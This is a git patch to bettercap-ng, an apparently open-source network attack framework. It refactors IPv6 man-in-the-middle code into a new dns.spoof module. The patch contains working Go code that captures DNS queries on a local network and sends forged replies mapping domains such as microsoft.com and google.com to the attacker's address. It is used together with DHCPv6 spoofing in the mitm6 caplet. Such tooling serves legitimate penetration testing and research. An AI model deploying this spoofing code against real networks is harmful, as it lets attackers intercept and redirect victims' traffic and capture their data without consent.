From 066214e94bb92aa984cc04eb93a6f620dcb7dd45 Mon Sep 17 00:00:00 2001 From: evilsocket Date: Sat, 13 Jan 2018 00:28:07 +0100 Subject: [PATCH] refact: refactored some of the mitm6 attack code into a separate dns.spoof module. --- caplets/mitm6.cap | 6 +- main.go | 1 + modules/dhcp6_spoof.go | 105 ++----------------- modules/dns_spoof.go | 233 +++++++++++++++++++++++++++++++++++++++++ 4 files changed, 245 insertions(+), 100 deletions(-) create mode 100644 modules/dns_spoof.go diff --git a/caplets/mitm6.cap b/caplets/mitm6.cap index 2278e421..873a9121 100644 --- a/caplets/mitm6.cap +++ b/caplets/mitm6.cap @@ -1,8 +1,10 @@ # custom prompt for ipv6 ... this is cool, i know :) set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}ยป {reset} -# let's spoof microsoft.com domains -set dns.spoof.domains microsoft.com +# let's spoof Microsoft and Google ^_^ +set dns.spoof.domains microsoft.com, google.com +set dhcp6.spoof.domains microsoft.com, google.com + # every request to *.microsoft.com will come to us, let's give em some contents set http.server.path caplets/www diff --git a/main.go b/main.go index bed7520c..1ee4188a 100644 --- a/main.go +++ b/main.go @@ -27,6 +27,7 @@ func main() { sess.Register(modules.NewDiscovery(sess)) sess.Register(modules.NewArpSpoofer(sess)) sess.Register(modules.NewDHCP6Spoofer(sess)) + sess.Register(modules.NewDNSSpoofer(sess)) sess.Register(modules.NewSniffer(sess)) sess.Register(modules.NewHttpServer(sess)) sess.Register(modules.NewHttpProxy(sess)) diff --git a/modules/dhcp6_spoof.go b/modules/dhcp6_spoof.go index a404db1e..07df003a 100644 --- a/modules/dhcp6_spoof.go +++ b/modules/dhcp6_spoof.go @@ -138,14 +138,14 @@ func (s *DHCP6Spoofer) Configure() error { } func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) { - pktIp6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) + pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) fqdn := target.String() if raw, found := solicit.Options[packets.DHCP6OptClientFQDN]; found == true && len(raw) >= 1 { fqdn = string(raw[0]) } - log.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", core.Bold(fqdn), target, len(s.Domains)) + log.Info("[%s] Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %d domains.", core.Green("dhcp6"), core.Bold(fqdn), target, len(s.Domains)) var solIANA dhcp6opts.IANA @@ -225,7 +225,7 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, NextHeader: layers.IPProtocolUDP, HopLimit: 64, SrcIP: s.Session.Interface.IPv6, - DstIP: pktIp6.SrcIP, + DstIP: pip6.SrcIP, } udp := layers.UDP{ @@ -254,7 +254,7 @@ func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.Packet, target net.HardwareAddr) { log.Debug("Sending spoofed DHCPv6 reply to %s after its %s packet.", core.Bold(target.String()), toType) - pktIp6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) + pip6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) reply := dhcp6.Packet{ MessageType: dhcp6.MessageTypeReply, TransactionID: req.TransactionID, @@ -316,7 +316,7 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P NextHeader: layers.IPProtocolUDP, HopLimit: 64, SrcIP: s.Session.Interface.IPv6, - DstIP: pktIp6.SrcIP, + DstIP: pip6.SrcIP, } udp := layers.UDP{ @@ -348,88 +348,15 @@ func (s *DHCP6Spoofer) dhcpReply(toType string, pkt gopacket.Packet, req dhcp6.P } if t, found := s.Session.Targets.Targets[target.String()]; found == true { - log.Info("IPv6 address %s is now assigned to %s", addr.String(), t) + log.Info("[%s] IPv6 address %s is now assigned to %s", core.Green("dhcp6"), addr.String(), t) } else { - log.Info("IPv6 address %s is now assigned to %s", addr.String(), target) + log.Info("[%s] IPv6 address %s is now assigned to %s", core.Green("dhcp6"), addr.String(), target) } } else { log.Debug("DHCPv6 renew sent to %s", target) } } -func (s *DHCP6Spoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, req *layers.DNS, target net.HardwareAddr) { - redir := fmt.Sprintf("(->%s)", s.Address) - if t, found := s.Session.Targets.Targets[target.String()]; found == true { - log.Info("Sending spoofed DNS reply for %s %s to %s.", core.Red(domain), core.Dim(redir), core.Bold(t.String())) - } else { - log.Info("Sending spoofed DNS reply for %s %s to %s.", core.Red(domain), core.Dim(redir), core.Bold(target.String())) - } - - pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) - - eth := layers.Ethernet{ - SrcMAC: peth.DstMAC, - DstMAC: target, - EthernetType: layers.EthernetTypeIPv6, - } - - ip6 := layers.IPv6{ - Version: 6, - NextHeader: layers.IPProtocolUDP, - HopLimit: 64, - SrcIP: pip.DstIP, - DstIP: pip.SrcIP, - } - - udp := layers.UDP{ - SrcPort: pudp.DstPort, - DstPort: pudp.SrcPort, - } - - udp.SetNetworkLayerForChecksum(&ip6) - - answers := make([]layers.DNSResourceRecord, 0) - for _, q := range req.Questions { - answers = append(answers, - layers.DNSResourceRecord{ - Name: []byte(q.Name), - Type: q.Type, - Class: q.Class, - TTL: 1024, - IP: s.Address, - }) - } - - dns := layers.DNS{ - ID: req.ID, - QR: true, - OpCode: layers.DNSOpCodeQuery, - QDCount: req.QDCount, - Questions: req.Questions, - Answers: answers, - } - - err, raw := packets.Serialize(ð, &ip6, &udp, &dns) - if err != nil { - log.Error("Error serializing packet: %s.", err) - return - } - - log.Debug("Sending %d bytes of packet ...", len(raw)) - if err := s.Session.Queue.Send(raw); err != nil { - log.Error("Error sending packet: %s", err) - } -} - -func (s *DHCP6Spoofer) shouldSpoof(domain string) bool { - for _, d := range s.Domains { - if strings.HasSuffix(domain, d) == true { - return true - } - } - return false -} - func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) { var dhcp dhcp6.Packet var err error @@ -460,24 +387,6 @@ func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) { } } } - - return - } - - // DNS request for us? - if bytes.Compare(eth.DstMAC, s.Session.Interface.HW) == 0 { - dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) - if parsed == true && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { - for _, q := range dns.Questions { - qName := string(q.Name) - if s.shouldSpoof(qName) == true { - s.dnsReply(pkt, eth, udp, qName, dns, eth.SrcMAC) - break - } else { - log.Debug("Skipping domain %s", qName) - } - } - } } } diff --git a/modules/dns_spoof.go b/modules/dns_spoof.go new file mode 100644 index 00000000..b78aad19 --- /dev/null +++ b/modules/dns_spoof.go @@ -0,0 +1,233 @@ +package modules + +import ( + "bytes" + "fmt" + "net" + "strings" + + "github.com/evilsocket/bettercap-ng/core" + "github.com/evilsocket/bettercap-ng/log" + "github.com/evilsocket/bettercap-ng/packets" + "github.com/evilsocket/bettercap-ng/session" + + "github.com/google/gopacket" + "github.com/google/gopacket/layers" + "github.com/google/gopacket/pcap" +) + +type DNSSpoofer struct { + session.SessionModule + Handle *pcap.Handle + Domains []string + Address net.IP +} + +func NewDNSSpoofer(s *session.Session) *DNSSpoofer { + spoof := &DNSSpoofer{ + SessionModule: session.NewSessionModule("dns.spoof", s), + Handle: nil, + } + + spoof.AddParam(session.NewStringParameter("dns.spoof.domains", + "microsoft.com, goole.com, facebook.com, apple.com, twitter.com", + ``, + "Comma separated values of domain names to spoof.")) + + spoof.AddParam(session.NewStringParameter("dns.spoof.address", + session.ParamIfaceAddress, + `^(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`, + "IP address to map the domains to.")) + + spoof.AddHandler(session.NewModuleHandler("dns.spoof on", "", + "Start the DNS spoofer in the background.", + func(args []string) error { + return spoof.Start() + })) + + spoof.AddHandler(session.NewModuleHandler("dns.spoof off", "", + "Stop the DNS spoofer in the background.", + func(args []string) error { + return spoof.Stop() + })) + + return spoof +} + +func (s DNSSpoofer) Name() string { + return "dns.spoof" +} + +func (s DNSSpoofer) Description() string { + return "Replies to DNS messages with spoofed responses." +} + +func (s DNSSpoofer) Author() string { + return "Simone Margaritelli " +} + +func (s *DNSSpoofer) Configure() error { + var err error + var addr string + + if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil { + return err + } + + err = s.Handle.SetBPFFilter("udp") + if err != nil { + return err + } + + s.Domains = make([]string, 0) + if err, domains := s.StringParam("dns.spoof.domains"); err != nil { + return err + } else { + parts := strings.Split(domains, ",") + for _, part := range parts { + part = strings.Trim(part, "\t\n\r ") + if part != "" { + s.Domains = append(s.Domains, part) + } + } + } + + if err, addr = s.StringParam("dns.spoof.address"); err != nil { + return err + } + + s.Address = net.ParseIP(addr) + + return nil +} + +func (s *DNSSpoofer) dnsReply(pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, req *layers.DNS, target net.HardwareAddr) { + redir := fmt.Sprintf("(->%s)", s.Address) + if t, found := s.Session.Targets.Targets[target.String()]; found == true { + log.Info("[%s] Sending spoofed DNS reply for %s %s to %s.", core.Green("dns"), core.Red(domain), core.Dim(redir), core.Bold(t.String())) + } else { + log.Info("[%s] Sending spoofed DNS reply for %s %s to %s.", core.Green("dns"), core.Red(domain), core.Dim(redir), core.Bold(target.String())) + } + + pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6) + + eth := layers.Ethernet{ + SrcMAC: peth.DstMAC, + DstMAC: target, + EthernetType: layers.EthernetTypeIPv6, + } + + ip6 := layers.IPv6{ + Version: 6, + NextHeader: layers.IPProtocolUDP, + HopLimit: 64, + SrcIP: pip.DstIP, + DstIP: pip.SrcIP, + } + + udp := layers.UDP{ + SrcPort: pudp.DstPort, + DstPort: pudp.SrcPort, + } + + udp.SetNetworkLayerForChecksum(&ip6) + + answers := make([]layers.DNSResourceRecord, 0) + for _, q := range req.Questions { + answers = append(answers, + layers.DNSResourceRecord{ + Name: []byte(q.Name), + Type: q.Type, + Class: q.Class, + TTL: 1024, + IP: s.Address, + }) + } + + dns := layers.DNS{ + ID: req.ID, + QR: true, + OpCode: layers.DNSOpCodeQuery, + QDCount: req.QDCount, + Questions: req.Questions, + Answers: answers, + } + + err, raw := packets.Serialize(ð, &ip6, &udp, &dns) + if err != nil { + log.Error("Error serializing packet: %s.", err) + return + } + + log.Debug("Sending %d bytes of packet ...", len(raw)) + if err := s.Session.Queue.Send(raw); err != nil { + log.Error("Error sending packet: %s", err) + } +} + +func (s *DNSSpoofer) shouldSpoof(domain string) bool { + if len(s.Domains) == 1 && s.Domains[0] == "*" { + return true + } + + for _, d := range s.Domains { + if strings.HasSuffix(domain, d) == true { + return true + } + } + return false +} + +func (s *DNSSpoofer) onPacket(pkt gopacket.Packet) { + eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet) + udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP) + + // DNS request for us? + if bytes.Compare(eth.DstMAC, s.Session.Interface.HW) == 0 { + dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) + if parsed == true && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 { + for _, q := range dns.Questions { + qName := string(q.Name) + if s.shouldSpoof(qName) == true { + s.dnsReply(pkt, eth, udp, qName, dns, eth.SrcMAC) + break + } else { + log.Debug("Skipping domain %s", qName) + } + } + } + } +} + +func (s *DNSSpoofer) Start() error { + if s.Running() == true { + return session.ErrAlreadyStarted + } else if err := s.Configure(); err != nil { + return err + } + + s.SetRunning(true) + + go func() { + defer s.Handle.Close() + + src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType()) + for packet := range src.Packets() { + if s.Running() == false { + break + } + + s.onPacket(packet) + } + }() + + return nil +} + +func (s *DNSSpoofer) Stop() error { + if s.Running() == false { + return session.ErrAlreadyStopped + } + s.SetRunning(false) + return nil +}